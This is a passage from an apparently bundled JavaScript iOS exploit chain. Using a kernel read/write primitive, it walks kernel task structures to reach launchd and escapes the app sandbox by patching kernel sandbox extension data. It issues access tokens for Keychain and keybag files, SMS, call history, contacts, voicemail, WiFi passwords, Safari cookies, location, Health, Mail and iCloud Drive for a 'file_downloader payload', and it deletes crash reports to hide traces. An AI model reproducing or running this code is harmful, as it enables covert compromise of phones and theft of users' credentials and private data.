"/private/var/mobile/Library/Health/":0, "/private/var/mobile/Media/":0, "/private/var/mobile/Media/PhotoData/":0, "/private/var/mobile/Media/DCIM/":0, "/var/mobile/Media/":0, "/var/mobile/Media/PhotoData/":0, "/var/mobile/Media/DCIM/":0, // Device Info "/private/var/root/Library/Lockdown/":0, "/private/var/mobile/Library/Preferences/":0, "/private/var/mobile/Library/Preferences/com.apple.commcenter.shared.plist":0, "/private/var/mobile/Library/Preferences/com.apple.identityservices.idstatuscache.plist":0, // Accounts "/private/var/mobile/Library/Accounts/":0, // Protected & Trust "/private/var/protected/trustd/private/":0, "/private/var/protected/trustd/private":0, // System & Apps "/bin/":0, "/Applications/":0, "/private/var/containers/Bundle/Application/":0, "/var/containers/Bundle/Application/":0, "/private/var/containers/Shared/SystemGroup/":0, "/private/var/mobile/Containers/Data/Application/":0, "/var/mobile/Containers/Data/Application/":0, "/private/var/mobile/Containers/Shared/AppGroup/":0, // Notifications & Logs "/private/var/mobile/Library/UserNotificationsUI/NotificationListPersistentState.json":0, "/private/var/mobile/Library/UserNotifications/":0, "/private/var/mobile/Library/Logs/CrashReporter/":0, "/private/var/mobile/Library/ExternalAccessory":0, "/private/var/mobile/Library/Shortcuts/":0, // Temp directory for file operations "/private/var/tmp/":0, "/tmp/":0 /* not allowed via launchd "/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db":0, "/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db-wal":0, "/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db-shm":0 */ }; static initWithLaunchdTask(launchdTask) { this.#launchdTask = launchdTask; } static getTokenForPath(path, consume=false) { if (!this.#launchdTask || !this.#launchdTask.success()) return; //console.log(TAG,`Creating token for path:${path}`); let memRemote = this.#launchdTask.mem(); let pathRemote = memRemote; this.#launchdTask.writeStr(pathRemote,path); let appSandboxReadExt = "com.apple.app-sandbox.read-write"; let sandboxExtensionEntry = memRemote + 0x100n; this.#launchdTask.writeStr(sandboxExtensionEntry,appSandboxReadExt); let tokenRemote = this.#launchdTask.call(100, "sandbox_extension_issue_file",sandboxExtensionEntry,pathRemote,0n,0n); if (!tokenRemote) { console.log(TAG, "Unable to create token for: " + path); return null; } //console.log(TAG,`token:${Utils.hex(tokenRemote)}`); let token = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].mem; this.#launchdTask.read(tokenRemote,token,512n); if(consume) libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_consume",token); token = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].readString(token,512); //console.log(TAG,`token:${token}`); if(!token || !token.includes("com.apple.app-sandbox.read-write")) { console.log(TAG,`Found weird token:${token}, not registering`); return null; } return token; } static createTokens() { console.log(TAG, "Create tokens..."); let keys = Object.keys(this.#PathDictionary); for(let key of keys) this.#PathDictionary[key] = this.getTokenForPath(key,false); // Those are required for Bailer //if (!this.#weAreLaunchd) { this.getTokenForPath("/bin/", true); this.getTokenForPath("/Applications/", true); this.getTokenForPath("/private/var/tmp/", true); this.getTokenForPath("/tmp/", true); this.getTokenForPath("/private/var/mobile/Media/", true); this.getTokenForPath("/private/var/mobile/Containers/Data/Application/", true); this.getTokenForPath("/var/mobile/Containers/Data/Application/", true); this.getTokenForPath("/private/var/mobile/Containers/Shared/AppGroup/", true); this.getTokenForPath("/private/var/containers/Bundle/Application/", true); this.getTokenForPath("/var/containers/Bundle/Application/", true); this.getTokenForPath("/private/var/containers/Shared/SystemGroup/", true); this.getTokenForPath("/private/var/preferences/SystemConfiguration/preferences.plist", true); this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3", true); this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3-wal", true); this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3-shm", true); //} // Forensic file paths for file_downloader payload console.log(TAG, "Create tokens for forensic paths..."); this.getTokenForPath("/private/var/mobile/Library/SMS/", true); this.getTokenForPath("/private/var/mobile/Library/CallHistoryDB/", true); this.getTokenForPath("/private/var/mobile/Library/AddressBook/", true); this.getTokenForPath("/private/var/mobile/Library/Voicemail/", true); // Keychain tokens (with /private prefix) this.getTokenForPath("/private/var/Keychains/", true); this.getTokenForPath("/private/var/Keychains/keychain-2.db", true); this.getTokenForPath("/private/var/Keychains/keychain-2.db-shm", true); this.getTokenForPath("/private/var/Keychains/keychain-2.db-wal", true); this.getTokenForPath("/private/var/Keychains/keychain-2.db-journal", true); // Keychain tokens (without /private prefix - alternate) this.getTokenForPath("/var/Keychains/", true); this.getTokenForPath("/var/Keychains/keychain-2.db", true); this.getTokenForPath("/var/Keychains/keychain-2.db-shm", true); this.getTokenForPath("/var/Keychains/keychain-2.db-wal", true); this.getTokenForPath("/var/Keychains/keychain-2.db-journal", true); // Keybag tokens (legacy location) this.getTokenForPath("/private/var/keybags/", true); this.getTokenForPath("/private/var/keybags/systembag.kb", true); this.getTokenForPath("/private/var/keybags/persona.kb", true); this.getTokenForPath("/private/var/keybags/usersession.kb", true); this.getTokenForPath("/private/var/keybags/backup/", true); // Keybag tokens (without /private - alternate) this.getTokenForPath("/var/keybags/", true); this.getTokenForPath("/var/keybags/systembag.kb", true); this.getTokenForPath("/var/keybags/persona.kb", true); this.getTokenForPath("/var/keybags/usersession.kb", true); this.getTokenForPath("/var/keybags/backup/", true); this.getTokenForPath("/var/keybags/backup/backup_keys_cache.sqlite", true); // Keybag tokens (Keychains directory - iOS 18) this.getTokenForPath("/private/var/Keychains/System.keybag", true); this.getTokenForPath("/private/var/Keychains/Backup.keybag", true); this.getTokenForPath("/private/var/Keychains/persona.kb", true); this.getTokenForPath("/private/var/Keychains/usersession.kb", true); this.getTokenForPath("/private/var/Keychains/device.kb", true); this.getTokenForPath("/var/Keychains/persona.kb", true); this.getTokenForPath("/private/var/preferences/SystemConfiguration/com.apple.wifi.plist", true); this.getTokenForPath("/private/var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist", true); this.getTokenForPath("/private/var/preferences/com.apple.wifi.known-networks.plist", true); // WiFi password file locations (for pickup from wifid) this.getTokenForPath("/var/wireless/", true); this.getTokenForPath("/private/var/wireless/", true); this.getTokenForPath("/private/var/wireless/Library/", true); this.getTokenForPath("/private/var/wireless/Library/Preferences/", true); this.getTokenForPath("/private/var/wireless/Library/Databases/", true); this.getTokenForPath("/private/var/wireless/Library/ControlCenter/", true); this.getTokenForPath("/private/var/mobile/Library/CoreDuet/", true); this.getTokenForPath("/private/var/mobile/Library/PersonalizationPortrait/", true); this.getTokenForPath("/var/log/", true); this.getTokenForPath("/private/var/log/", true); this.getTokenForPath("/var/db/", true); this.getTokenForPath("/private/var/db/", true); this.getTokenForPath("/var/run/", true); this.getTokenForPath("/private/var/run/", true); this.getTokenForPath("/private/var/networkd/", true); this.getTokenForPath("/private/var/mobile/Library/Safari/", true); this.getTokenForPath("/private/var/mobile/Library/Cookies/", true); this.getTokenForPath("/private/var/mobile/Library/Caches/locationd/", true); this.getTokenForPath("/private/var/root/Library/Caches/locationd/", true); this.getTokenForPath("/private/var/mobile/Library/Notes/", true); this.getTokenForPath("/private/var/mobile/Library/Calendar/", true); this.getTokenForPath("/private/var/mobile/Media/PhotoData/", true); this.getTokenForPath("/private/var/mobile/Media/DCIM/", true); this.getTokenForPath("/var/mobile/Media/", true); // iCloud Drive tokens this.getTokenForPath("/private/var/mobile/Library/Mobile Documents/", true); this.getTokenForPath("/private/var/mobile/Library/Mobile Documents/com~apple~CloudDocs/", true); this.getTokenForPath("/var/mobile/Media/PhotoData/", true); this.getTokenForPath("/var/mobile/Media/DCIM/", true); this.getTokenForPath("/private/var/mobile/Library/Health/", true); this.getTokenForPath("/private/var/root/Library/Lockdown/", true); this.getTokenForPath("/private/var/mobile/Library/Preferences/", true); this.getTokenForPath("/private/var/mobile/Library/Accounts/", true); this.getTokenForPath("/private/var/mobile/Library/Mail/", true); this.getTokenForPath("/private/var/mobile/Library/FrontBoard/", true); } static applyTokensForRemoteTask(remoteTask) { let remoteMem = remoteTask.mem(); let keys = Object.keys(this.#PathDictionary); for(let key of keys) { if(this.#PathDictionary[key]) { //console.log(TAG,`Applying:${this.#PathDictionary[key]}`); remoteTask.writeStr(remoteMem,this.#PathDictionary[key]); remoteTask.call(100,"sandbox_extension_consume",remoteMem); //console.log(TAG,`Result of consume:${resConsume}`); } } } static destroy() { if(this.#launchdTask) this.#launchdTask.destroy(); } static deleteCrashReports() { this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true); libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true); } static adjustMemoryPressure(processName) { const MEMORYSTATUS_CMD_SET_JETSAM_HIGH_WATER_MARK = 5; const MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT = 6; const MEMORYSTATUS_CMD_SET_PROCESS_IS_MANAGED = 16; let pid = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].pidof(processName); if (!pid) { console.log(TAG, "Unable to get pid of: " + processName); return; } if (!this.#launchdTask || !this.#launchdTask.success()) return; let memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_JETSAM_HIGH_WATER_MARK,pid,-1,0,0); console.log(TAG,`waterMark result: ${memResult}`); memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_PROCESS_IS_MANAGED,pid,0,0,0); console.log(TAG,`isManaged result: ${memResult}`); memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT,pid,0,0,0); console.log(TAG,`taskLimit result: ${memResult}`); } static applySandboxEscape() { let _CS_DARWIN_USER_TEMP_DIR = 65537n; let write_file_path = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("calloc", 1n, 1024n); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("confstr", _CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024n); let randomHex = "/" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("arc4random")); let randomHexPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].mem; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].writeString(randomHexPtr, randomHex); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("strcat", write_file_path, randomHexPtr); // mktmp should work // confstrr path // also in pe //let procPath = "/private/var/tmp/com.apple.mediaplaybackd/Library/HTTPStorages/com.apple.mediaplaybackd/" let appSandboxReadExt = "com.apple.app-sandbox.read-write"; let extension = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_issue_file",appSandboxReadExt,write_file_path,0n,0n); if (!extension) { console.log(TAG,`Sandbox failure 1`); return false; } let resConsume = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_consume",extension); if (resConsume == -1) { console.log(TAG,`Sandbox failure 2`); return false; } let ourTaskAddr = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].getTaskAddrByPID(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("getpid")); console.log(TAG,`ourTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ourTaskAddr)}`); let ourProcAddr = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].getTaskProc(ourTaskAddr); console.log(TAG,`ourProcAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ourProcAddr)}`); let credRefAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ourProcAddr + 0x18n); if (credRefAddr == 0n) { console.log(TAG,`Sandbox failure 3`); return false; } credRefAddr = credRefAddr + 0x28n; let credAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(credRefAddr); if (credAddr == 0n) { console.log(TAG,`Sandbox failure 4`); return false; } console.log(TAG,`credRefAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(credRefAddr)}`); let labelAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(credAddr + 0x78n); if (labelAddr == 0n) { console.log(TAG,`Sandbox failure 5`); return false; } console.log(TAG,`labelAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(labelAddr)}`); let sandboxAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(labelAddr + 0x8n + 1n * BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].UINT64_SIZE)); if (sandboxAddr == 0n) { console.log(TAG,`Sandbox failure 6`); return false; } console.log(TAG,`sandboxAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(sandboxAddr)}`); let ext_setAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(sandboxAddr + 0x10n); if (ext_setAddr == 0n) { console.log(TAG,`Sandbox failure 7`); return false; } console.log(TAG,`ext_setAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ext_setAddr)}`); let ext_tableAddr = ext_setAddr + 0x0n; // koffsetof(extension_set, ext_table) = 0x0 let hash = 0n; console.log(TAG,`hash:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(hash)}`); //hash = 4n; // for read hash = 0n; // for read-write let ext_hdrAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_tableAddr + hash * BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].UINT64_SIZE)); if (ext_hdrAddr == 0n) { console.log(TAG,`Sandbox failure 8`); return false; } /* newHash = hashing_magic(appSandboxReadWriteExt); LOG("ext_hdrAddr:%llx",ext_hdrAddr); sleep(1); mach_vm_address_t nullAddr = 0; chain_write(ext_tableAddr + hash * sizeof(mach_vm_address_t),&nullAddr,sizeof(nullAddr)); chain_write(ext_tableAddr + newHash * sizeof(mach_vm_address_t),&ext_hdrAddr,sizeof(ext_hdrAddr)); */ for (;;) { let nextAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_hdrAddr); if(nextAddr == 0n) break; ext_hdrAddr = nextAddr; } let ext_lstAddr = ext_hdrAddr + 0x8n; // koffsetof(extension_hdr, ext_lst) == 0x8 let extAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_lstAddr); if (extAddr == 0n) { console.log(TAG,`Sandbox failure 9`); return false; } console.log(TAG,`extAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(extAddr)}`); let dataLength = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(extAddr + 0x48n); let dataAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(extAddr + 0x40n); if(dataLength == 0n || dataAddr == 0n) { console.log(TAG,`Sandbox failure 10`); return false; } let pathLength = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("strlen",write_file_path) + 1; console.log(TAG,`dataLength:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(dataLength)} pathLength:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(pathLength)}`); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].write8(dataAddr, 0); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].write64(extAddr + 0x48n,0n); console.log(TAG, `Finished succesfully`); return true; } } /***/ }), /***/ "./src/libs/TaskRop/SelfTaskStruct.js": /*!********************************************!*\ !*** ./src/libs/TaskRop/SelfTaskStruct.js ***! \********************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ SelfTaskStruct) /* harmony export */ }); class SelfTaskStruct { #buffer; #dataView; constructor() { this.#buffer = new ArrayBuffer(32); this.#dataView = new DataView(this.#buffer); this.addr = 0x0n; this.spaceTable = 0x0n; this.portObject = 0x0n; this.launchdTask = 0x0n; } get addr() { return this.#dataView.getBigUint64(0,true); } set addr(value) { this.#dataView.setBigUint64(0,value,true); } get spaceTable() { return this.#dataView.getBigUint64(8,true); } set spaceTable(value) { this.#dataView.setBigUint64(8,value,true); } get portObject() { return this.#dataView.getBigUint64(16,true); } set portObject(value) { this.#dataView.setBigUint64(16,value,true); } get launchdTask() { return this.#dataView.getBigUint64(24,true); } set launchdTask(value) { this.#dataView.setBigUint64(24,value,true); } } /***/ }), /***/ "./src/libs/TaskRop/Task.js": /*!**********************************!*\ !*** ./src/libs/TaskRop/Task.js ***! \**********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ Task) /* harmony export */ }); /* harmony import */ var _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./SelfTaskStruct */ "./src/libs/TaskRop/SelfTaskStruct.js"); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); /* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); /* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); const TAG = "TASK" const TASK_EXC_GUARD_MP_CORPSE = 0x40; const TASK_EXC_GUARD_MP_FATAL = 0x80; const TASK_EXC_GUARD_MP_DELIVER = 0x10; class Task { static gSelfTask; static KALLOC_ARRAY_TYPE_SHIFT; static { this.gSelfTask = new _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__["default"](); } static init(selfTaskAddr) { // Update KALLOC_ARRAY_TYPE_SHIFT this.KALLOC_ARRAY_TYPE_SHIFT = BigInt((64n - libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().T1SZ_BOOT - 1n)); /* * This function should be invoked as the initializer of the this Task utility. * It setups the global var "gSelfTask" containing values used all across the task functions to lookup ports. * It also retrieves the "launchd" task address. */ this.gSelfTask.addr = selfTaskAddr; let spaceTable = this.#getSpaceTable(this.gSelfTask.addr); this.gSelfTask.portObject = this.#getPortObject(spaceTable, 0x203n); this.gSelfTask.launchdTask = this.#searchForLaunchdTask(); console.log(TAG,`Self task address: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.addr)}`); console.log(TAG,`Self task space table: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(spaceTable)}`); console.log(TAG,`Self task port object: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.portObject)}`); console.log(TAG,`launchd task: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.launchdTask)}`); } static trunc_page(addr) { return addr & (~(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_SIZE - 1n)); } static round_page(addr) { return this.trunc_page((addr) + (libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_SIZE - 1n)); } static pidof(name) { let currTask = this.gSelfTask.launchdTask; while (true) { let procAddr = this.getTaskProc(currTask); let command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pComm, command, 18); let resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].readString(command,18); if(name === resultName) { let pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid); return pid; } let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask); if (!nextTask || nextTask == currTask) break; currTask = nextTask; } return 0; } static getTaskAddrByPID(pid) { let currTask = this.gSelfTask.launchdTask; while (true) { let procAddr = this.getTaskProc(currTask); let currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid); if (currPid == pid) return currTask; let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask); if (!nextTask || (nextTask == currTask)) break; currTask = nextTask; } return 0; } static disableExcGuardKill(taskAddr) { // in mach_port_guard_ast, the victim would crash if these are on. let excGuard = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard); //console.log(TAG,`Current excGuard:0x${Utils.hex(excGuard)}`); excGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL); excGuard |= TASK_EXC_GUARD_MP_DELIVER; //console.log(TAG,`ExcGuard result:0x${Utils.hex(excGuard)}`); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard, excGuard); } static getTaskAddrByName(name) { let currTask = this.gSelfTask.launchdTask; while (true) { let procAddr = this.getTaskProc(currTask); let command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pComm, command, 18); let resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].readString(command,18); //console.log(TAG, `${Utils.hex(procAddr)}: ${resultName}`); if(name === resultName) { //console.log(TAG, `Found target process: ${name}`); return currTask; } let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask); if (!nextTask || nextTask == currTask) break; currTask = nextTask; } return false; } static getRightAddr(port) { let spaceTable = this.#getSpaceTable(this.gSelfTask.addr); return this.#getPortEntry(spaceTable, port); } static #getSpaceTable(taskAddr) { let space = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().ipcSpace); let spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(space + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().spaceTable); //console.log(TAG,`space: ${Utils.hex(space)}`); //console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`); spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(spaceTable); //console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`); return this.#kallocArrayDecodeAddr(BigInt(spaceTable)); } static #mach_port_index(port) { return ((port) >> 8n); } static #getPortEntry(spaceTable, port) { let portIndex = this.#mach_port_index(port); return spaceTable + (portIndex * 0x18n); } static #getPortObject(spaceTable, port) { //console.log(TAG, `getPortObject(): space=${Utils.hex(spaceTable)}, port=${Utils.hex(port)}`); let portEntry = this.#getPortEntry(spaceTable, port); //console.log(TAG,`portEntry: ${Utils.hex(portEntry)}`); let portObject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(portEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().entryObject); //console.log(TAG,`portObject:${Utils.hex(portObject)}`); return libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(portObject); } static getTaskProc(taskAddr) { let procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().procRO); let procAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(procROAddr); return procAddr; } static #searchForLaunchdTask() { /* * Traverse the tasks list backwards starting from the self task until we find the proc with PID 1. */ let currTask = this.gSelfTask.addr; while (true) { let procAddr = this.getTaskProc(currTask); let currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid); if (currPid == 1) return currTask; let prevTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().prevTask); if (!prevTask || prevTask === currTask) break; currTask = prevTask; } return 0n; } static #kallocArrayDecodeAddr(ptr) { let zone_mask = BigInt(1) << BigInt(this.KALLOC_ARRAY_TYPE_SHIFT); if (ptr & zone_mask) { ptr &= ~0x1fn; } else { ptr &= ~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_MASK; //console.log(TAG,`ptr:${Utils.hex(ptr)}`); ptr |= zone_mask; //console.log(TAG,`ptr2:${Utils.hex(ptr)}`); } return ptr; } static getPortAddr(port) { if (!port) return 0; let spaceTable = this.#getSpaceTable(this.gSelfTask.addr); return this.#getPortObject(spaceTable, port); } static getPortKObject(port) { let portObject = this.getPortAddr(port); return this.#getPortKObjectByAddr(portObject); } static #getPortKObjectByAddr(portObject) { if (!portObject) return 0; let kobject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(portObject + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().objectKObject); return libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(kobject); } static firstThread(taskAddr) { let first = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().threads); return first; } static getMap(taskAddr) { let vmMap = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().mapTask); return vmMap; } static getPortKObjectOfTask(taskAddr,port) { let portObject = this.getPortAddrOfTask(taskAddr, port); return this.#getPortKObjectByAddr(portObject); } static getPortAddrOfTask(taskAddr, port) { let spaceTable = this.#getSpaceTable(taskAddr); return this.#getPortObject(spaceTable, port); } } /***/ }), /***/ "./src/libs/TaskRop/TaskRop.js": /*!*************************************!*\ !*** ./src/libs/TaskRop/TaskRop.js ***! \*************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ TaskRop) /* harmony export */ }); /* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); /* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); const TAG = "TASKROP" class TaskRop { static init() { let selfTaskAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].getSelfTaskAddr(); if (!selfTaskAddr) { console.log(TAG,`Unable to find self task address`); return; } console.log(TAG,`selfTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(selfTaskAddr)}`); _Task__WEBPACK_IMPORTED_MODULE_2__["default"].init(selfTaskAddr); } } /***/ }), /***/ "./src/libs/TaskRop/Thread.js": /*!************************************!*\ !*** ./src/libs/TaskRop/Thread.js ***! \************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ Thread) /* harmony export */ }); /* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); /* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); /* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = 